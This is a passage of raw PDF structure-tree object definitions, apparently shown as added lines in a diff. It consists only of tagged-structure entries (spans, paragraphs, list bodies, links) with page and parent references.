+/K 6 +/P 1777 0 R +/Pg 32 0 R +/S /Span +/Type /StructElem +>> +endobj +1741 0 obj +<< +/K 7 +/P 794 0 R +/Pg 32 0 R +/S /Span +/Type /StructElem +>> +endobj +1742 0 obj +<< +/K 13 +/P 800 0 R +/Pg 32 0 R +/S /Span +/Type /StructElem +>> +endobj +1743 0 obj +<< +/K 14 +/P 1778 0 R +/Pg 32 0 R +/S /Span +/Type /StructElem +>> +endobj +1744 0 obj +<< +/K 15 +/P 800 0 R +/Pg 32 0 R +/S /Span +/Type /StructElem +>> +endobj +1745 0 obj +<< +/K 16 +/P 1779 0 R +/Pg 32 0 R +/S /Span +/Type /StructElem +>> +endobj +1746 0 obj +<< +/K 17 +/P 800 0 R +/Pg 32 0 R +/S /Span +/Type /StructElem +>> +endobj +1747 0 obj +<< +/K 22 +/P 805 0 R +/Pg 32 0 R +/S /Span +/Type /StructElem +>> +endobj +1748 0 obj +<< +/K 23 +/P 1780 0 R +/Pg 32 0 R +/S /Span +/Type /StructElem +>> +endobj +1749 0 obj +<< +/K 24 +/P 805 0 R +/Pg 32 0 R +/S /Span +/Type /StructElem +>> +endobj +1750 0 obj +<< +/K 25 +/P 1781 0 R +/Pg 32 0 R +/S /Span +/Type /StructElem +>> +endobj +1751 0 obj +<< +/K 26 +/P 805 0 R +/Pg 32 0 R +/S /Span +/Type /StructElem +>> +endobj +1752 0 obj +<< +/K [27] +/P 4222 0 R +/Pg 32 0 R +/S /LBody +/Type /StructElem +>> +endobj +1753 0 obj +<< +/K [28] +/P 4223 0 R +/Pg 32 0 R +/S /LBody +/Type /StructElem +>> +endobj +1754 0 obj +<< +/K [29] +/P 4224 0 R +/Pg 32 0 R +/S /LBody +/Type /StructElem +>> +endobj +1755 0 obj +<< +/K [30] +/P 4225 0 R +/Pg 32 0 R +/S /LBody +/Type /StructElem +>> +endobj +1756 0 obj +<< +/K [31] +/P 4226 0 R +/Pg 32 0 R +/S /LBody +/Type /StructElem +>> +endobj +1757 0 obj +<< +/K [32] +/P 4227 0 R +/Pg 32 0 R +/S /LBody +/Type /StructElem +>> +endobj +1758 0 obj +<< +/K [33] +/P 4228 0 R +/Pg 32 0 R +/S /LBody +/Type /StructElem +>> +endobj +1759 0 obj +<< +/K [34] +/P 4229 0 R +/Pg 32 0 R +/S /LBody +/Type /StructElem +>> +endobj +1760 0 obj +<< +/K [35] +/P 4230 0 R +/Pg 32 0 R +/S /LBody +/Type /StructElem +>> +endobj +1761 0 obj +<< +/K [36] +/P 4231 0 R +/Pg 32 0 R +/S /LBody +/Type /StructElem +>> +endobj +1762 0 obj +<< +/K [40 41] +/P 4690 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +1763 0 obj +<< +/K [42 43] +/P 4691 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +1764 0 obj +<< +/K [44 45] +/P 4692 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +1765 0 obj +<< +/K [46] +/P 4693 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +1766 0 obj +<< +/K [47] +/P 4694 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +1767 0 obj +<< +/K 48 +/P 4695 0 R +/Pg 32 0 R +/S /Span +/Type /StructElem +>> +endobj +1768 0 obj +<< +/K 49 +/P 1782 0 R +/Pg 32 0 R +/S /Span +/Type /StructElem +>> +endobj +1769 0 obj +<< +/K 50 +/P 4695 0 R +/Pg 32 0 R +/S /Span +/Type /StructElem +>> +endobj +1770 0 obj +<< +/K [51] +/P 4696 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +1771 0 obj +<< +/K [52] +/P 4697 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +1772 0 obj +<< +/K [53] +/P 4698 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +1773 0 obj +<< +/K [54] +/P 4699 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +1774 0 obj +<< +/K [55] +/P 4700 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +1775 0 obj +<< +/K [56] +/P 4701 0 R +/Pg 32 0 R +/S /P +/Type /StructElem +>> +endobj +1776 0 obj +<< +/K [4702 0 R 1738 0 R] +/P 794 0 R +/Pg 32 0 R +/S /Link +/Type /StructElem +>> +endobj +1777 0 obj +<< +/K [4703 0 R 4704 0 R 1740 0 R] +/P 794 0 R +/Pg 32 0 R +/S /Link +/Type /StructElem +>> +endobj +1778 0 obj +<< +/K [4705 0 R 1743 0 R] +/P 800 0 R +/Pg 32 0 R +/S /Link +/Type /StructElem +>> +endobj +1779 0 obj +<< +/K [4706 0 R 1745 0 R] +/P 800 0 R +/Pg 32 0 R +/S /Link +/Type /StructElem +>> +endobj +1780 0 obj +<< +/K [4707 0 R 1748 0 R] +/P 805 0 R +/Pg 32 0 R +/S /Link +/Type /StructElem +>> +endobj +1781 0 obj +<< +/K [4708 0 R 1750 0 R] +/P 805 0 R +/Pg 32 0 R +/S /Link +/Type /StructElem +>> +endobj +1782 0 obj +<< +/K [4709 0 R 1768 0 R] +/P 4695 0 R +/Pg 32 0 R +/S /Link +/Type /StructElem +>> +endobj +1783 0 obj +<< +/K [0 1] +/P 4710 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +1784 0 obj +<< +/K [2 3] +/P 4711 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +1785 0 obj +<< +/K [4 5] +/P 4712 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +1786 0 obj +<< +/K [6] +/P 4713 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +1787 0 obj +<< +/K [7] +/P 4714 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +1788 0 obj +<< +/K [8] +/P 4715 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +1789 0 obj +<< +/K [9] +/P 4716 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +1790 0 obj +<< +/K [10] +/P 4717 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +1791 0 obj +<< +/K [11] +/P 4718 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +1792 0 obj +<< +/K [23 24] +/P 4719 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +1793 0 obj +<< +/K [25 26] +/P 4719 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +1794 0 obj +<< +/K [27 28] +/P 4719 0 R +/Pg 33 0 R +/S /P +/Type /StructElem +>> +endobj +1795 0 obj +<< +/K [2 3 4] +/P 4720 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1796 0 obj +<< +/K [5 6 7] +/P 4721 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1797 0 obj +<< +/K [8 9 10] +/P 4722 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1798 0 obj +<< +/K [11 12 13] +/P 4723 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1799 0 obj +<< +/K [14 15 16] +/P 4724 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1800 0 obj +<< +/K [17 18 19] +/P 4725 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1801 0 obj +<< +/K [20 21 22] +/P 4726 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1802 0 obj +<< +/K [23 24] +/P 4727 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1803 0 obj +<< +/K [25 26 27] +/P 4727 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1804 0 obj +<< +/K [28 29 30] +/P 4728 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1805 0 obj +<< +/K [31 32] +/P 4729 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1806 0 obj +<< +/K [33 34] +/P 4730 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1807 0 obj +<< +/K [35 36] +/P 4730 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1808 0 obj +<< +/K [37 38] +/P 4730 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1809 0 obj +<< +/K [39 40 41] +/P 4731 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1810 0 obj +<< +/K [42 43] +/P 4732 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1811 0 obj +<< +/K [44 45] +/P 4732 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1812 0 obj +<< +/K [46 47 48] +/P 4732 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1813 0 obj +<< +/K [49 50 51] +/P 4733 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1814 0 obj +<< +/K [52 53 54] +/P 4734 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1815 0 obj +<< +/K [55 56] +/P 4735 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1816 0 obj +<< +/K [57 58] +/P 4735 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1817 0 obj +<< +/K [59 60] +/P 4735 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1818 0 obj +<< +/K [61 62] +/P 4736 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1819 0 obj +<< +/K [63 64] +/P 4737 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1820 0 obj +<< +/K [65 66] +/P 4737 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1821 0 obj +<< +/K [67 68 69] +/P 4737 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1822 0 obj +<< +/K [70 71 72] +/P 4738 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1823 0 obj +<< +/K [73 74 75] +/P 4739 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1824 0 obj +<< +/K [76 77] +/P 4740 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1825 0 obj +<< +/K [78 79] +/P 4740 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1826 0 obj +<< +/K [80 81] +/P 4740 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1827 0 obj +<< +/K [82 83] +/P 4740 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1828 0 obj +<< +/K [84 85] +/P 4740 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1829 0 obj +<< +/K [86 87] +/P 4740 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1830 0 obj +<< +/K [88 89] +/P 4740 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1831 0 obj +<< +/K [90 91] +/P 4741 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1832 0 obj +<< +/K [92 93] +/P 4742 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1833 0 obj +<< +/K [94 95] +/P 4742 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1834 0 obj +<< +/K [96 97 98] +/P 4742 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1835 0 obj +<< +/K [99 100 101] +/P 4743 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1836 0 obj +<< +/K [102 103 104] +/P 4744 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1837 0 obj +<< +/K [105 106] +/P 4745 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1838 0 obj +<< +/K [107 108] +/P 4745 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1839 0 obj +<< +/K [109 110] +/P 4745 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1840 0 obj +<< +/K [111 112] +/P 4746 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1841 0 obj +<< +/K [113 114] +/P 4747 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1842 0 obj +<< +/K [115 116 117] +/P 4747 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1843 0 obj +<< +/K [118 119 120] +/P 4748 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1844 0 obj +<< +/K [121 122] +/P 4749 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1845 0 obj +<< +/K [123 124] +/P 4750 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1846 0 obj +<< +/K [125 126] +/P 4750 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1847 0 obj +<< +/K [127 128 129] +/P 4751 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1848 0 obj +<< +/K [130 131] +/P 4752 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1849 0 obj +<< +/K [132 133] +/P 4752 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1850 0 obj +<< +/K [134 135 136] +/P 4752 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1851 0 obj +<< +/K [137 138 139] +/P 4753 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1852 0 obj +<< +/K [140 141 142] +/P 4754 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1853 0 obj +<< +/K [143 144] +/P 4755 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1854 0 obj +<< +/K [145 146] +/P 4755 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1855 0 obj +<< +/K [147 148] +/P 4756 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1856 0 obj +<< +/K [149 150] +/P 4756 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1857 0 obj +<< +/K [151 152] +/P 4757 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1858 0 obj +<< +/K [153 154] +/P 4757 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1859 0 obj +<< +/K [155 156 157] +/P 4757 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1860 0 obj +<< +/K [158 159 160] +/P 4758 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1861 0 obj +<< +/K [161 162] +/P 4759 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1862 0 obj +<< +/K [163 164 165] +/P 4760 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1863 0 obj +<< +/K [166 167 168] +/P 4761 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1864 0 obj +<< +/K [169 170] +/P 4762 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1865 0 obj +<< +/K [171 172] +/P 4762 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1866 0 obj +<< +/K [173 174] +/P 4762 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1867 0 obj +<< +/K [175 176 177] +/P 4762 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1868 0 obj +<< +/K [178 179 180] +/P 4763 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1869 0 obj +<< +/K [181 182 183] +/P 4764 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1870 0 obj +<< +/K [184 185] +/P 4765 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1871 0 obj +<< +/K [186 187] +/P 4765 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1872 0 obj +<< +/K [188 189] +/P 4765 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1873 0 obj +<< +/K [190 191] +/P 4765 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1874 0 obj +<< +/K [192 193] +/P 4765 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1875 0 obj +<< +/K [194 195] +/P 4766 0 R +/Pg 34 0 R +/S /P +/Type /StructElem +>> +endobj +1876 0 obj +<< +/K [0 1 2] +/P 4767 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1877 0 obj +<< +/K [3 4 5] +/P 4768 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1878 0 obj +<< +/K [6 7 8] +/P 4769 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1879 0 obj +<< +/K [9 10 11] +/P 4770 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1880 0 obj +<< +/K [12 13 14] +/P 4771 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1881 0 obj +<< +/K [15 16 17] +/P 4772 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1882 0 obj +<< +/K [18 19 20] +/P 4773 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1883 0 obj +<< +/K [21 22] +/P 4774 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1884 0 obj +<< +/K [23 24] +/P 4774 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1885 0 obj +<< +/K [25 26] +/P 4774 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1886 0 obj +<< +/K [27 28 29] +/P 4774 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1887 0 obj +<< +/K [30 31 32] +/P 4775 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1888 0 obj +<< +/K [33 34 35] +/P 4776 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1889 0 obj +<< +/K [36 37] +/P 4777 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1890 0 obj +<< +/K [38 39] +/P 4777 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1891 0 obj +<< +/K [40 41] +/P 4777 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1892 0 obj +<< +/K [42 43] +/P 4777 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1893 0 obj +<< +/K [44 45] +/P 4778 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1894 0 obj +<< +/K [46 47] +/P 4778 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1895 0 obj +<< +/K [48 49 50] +/P 4778 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1896 0 obj +<< +/K [51 52] +/P 4779 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1897 0 obj +<< +/K [53 54] +/P 4779 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1898 0 obj +<< +/K [55 56] +/P 4779 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1899 0 obj +<< +/K [57 58 59] +/P 4779 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1900 0 obj +<< +/K [60 61 62] +/P 4780 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1901 0 obj +<< +/K [63 64 65] +/P 4781 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1902 0 obj +<< +/K [66 67] +/P 4782 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1903 0 obj +<< +/K [68 69] +/P 4782 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1904 0 obj +<< +/K [70 71] +/P 4782 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1905 0 obj +<< +/K [72 73] +/P 4782 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1906 0 obj +<< +/K [74 75] +/P 4782 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1907 0 obj +<< +/K [76 77 78] +/P 4783 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1908 0 obj +<< +/K [79 80] +/P 4784 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1909 0 obj +<< +/K [81 82] +/P 4784 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1910 0 obj +<< +/K [83 84] +/P 4784 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1911 0 obj +<< +/K [85 86 87] +/P 4784 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1912 0 obj +<< +/K [88 89 90] +/P 4785 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1913 0 obj +<< +/K [91 92 93] +/P 4786 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1914 0 obj +<< +/K [94 95] +/P 4787 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1915 0 obj +<< +/K [96 97] +/P 4787 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1916 0 obj +<< +/K [98 99] +/P 4787 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1917 0 obj +<< +/K [100 101] +/P 4787 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1918 0 obj +<< +/K [102 103] +/P 4787 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1919 0 obj +<< +/K [104 105 106] +/P 4787 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1920 0 obj +<< +/K [107 108] +/P 4788 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1921 0 obj +<< +/K [109 110] +/P 4788 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1922 0 obj +<< +/K [111 112] +/P 4788 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1923 0 obj +<< +/K [113 114] +/P 4788 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1924 0 obj +<< +/K [115 116] +/P 4789 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1925 0 obj +<< +/K [117 118] +/P 4789 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1926 0 obj +<< +/K [119 120] +/P 4789 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1927 0 obj +<< +/K [121 122 123] +/P 4789 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1928 0 obj +<< +/K [124 125 126] +/P 4790 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1929 0 obj +<< +/K [127 128 129] +/P 4791 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1930 0 obj +<< +/K [130 131] +/P 4792 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1931 0 obj +<< +/K [132 133] +/P 4792 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1932 0 obj +<< +/K [134 135] +/P 4793 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1933 0 obj +<< +/K [136 137] +/P 4793 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1934 0 obj +<< +/K [138 139] +/P 4793 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1935 0 obj +<< +/K [140 141] +/P 4793 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1936 0 obj +<< +/K [142 143] +/P 4793 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1937 0 obj +<< +/K [144 145] +/P 4794 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1938 0 obj +<< +/K [146 147] +/P 4794 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1939 0 obj +<< +/K [148 149] +/P 4794 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1940 0 obj +<< +/K [150 151 152] +/P 4794 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1941 0 obj +<< +/K [153 154 155] +/P 4795 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1942 0 obj +<< +/K [156 157 158] +/P 4796 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1943 0 obj +<< +/K [159 160] +/P 4797 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1944 0 obj +<< +/K [161 162] +/P 4797 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1945 0 obj +<< +/K [163 164] +/P 4798 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1946 0 obj +<< +/K [165 166] +/P 4798 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1947 0 obj +<< +/K [167 168] +/P 4798 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1948 0 obj +<< +/K [169 170] +/P 4799 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1949 0 obj +<< +/K [171 172] +/P 4799 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1950 0 obj +<< +/K [173 174] +/P 4799 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1951 0 obj +<< +/K [175 176 177] +/P 4799 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1952 0 obj +<< +/K [178 179 180] +/P 4800 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1953 0 obj +<< +/K [181 182 183] +/P 4801 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1954 0 obj +<< +/K [184 185] +/P 4802 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1955 0 obj +<< +/K [186 187] +/P 4802 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1956 0 obj +<< +/K [188 189] +/P 4803 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1957 0 obj +<< +/K [190 191] +/P 4804 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1958 0 obj +<< +/K [192 193 194] +/P 4804 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1959 0 obj +<< +/K [195 196 197] +/P 4805 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1960 0 obj +<< +/K [198 199] +/P 4806 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1961 0 obj +<< +/K [200 201] +/P 4807 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1962 0 obj +<< +/K [202 203] +/P 4807 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1963 0 obj +<< +/K [204 205] +/P 4807 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1964 0 obj +<< +/K [206 207] +/P 4808 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1965 0 obj +<< +/K [208 209] +/P 4808 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1966 0 obj +<< +/K [210 211] +/P 4808 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1967 0 obj +<< +/K [212 213] +/P 4809 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1968 0 obj +<< +/K [214 215] +/P 4809 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1969 0 obj +<< +/K [216 217 218] +/P 4809 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1970 0 obj +<< +/K [219 220 221] +/P 4810 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1971 0 obj +<< +/K [222 223 224] +/P 4811 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1972 0 obj +<< +/K [225 226] +/P 4812 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1973 0 obj +<< +/K [227 228] +/P 4812 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1974 0 obj +<< +/K [229 230] +/P 4812 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1975 0 obj +<< +/K [231 232] +/P 4812 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1976 0 obj +<< +/K [233 234] +/P 4812 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1977 0 obj +<< +/K [235 236] +/P 4813 0 R +/Pg 35 0 R +/S /P +/Type /StructElem +>> +endobj +1978 0 obj +<< +/K [0 1 2] +/P 4814 0 R +/Pg 36 0 R +/S /P +/Type /StructElem +>> +endobj +1979 0 obj +<< +/K [3 4 5] +/P 4815 0 R +/Pg 36 0 R +/S /P +/Type /StructElem +>> +endobj +1980 0 obj +<< +/K [6 7 8] +/P 4816 0 R +/Pg 36 0 R +/S /P +/Type /StructElem +>> +endobj +1981 0 obj +<< +/K [9 10 11] +/P 4817 0 R +/Pg 36 0 R +/S /P +/Type /StructElem +>> +endobj +1982 0 obj +<< +/K [12 13 14] +/P 4818 0 R +/Pg 36 0 R +/S /P +/Type /StructElem +>> +endobj +1983 0 obj +<< +/K [15 16 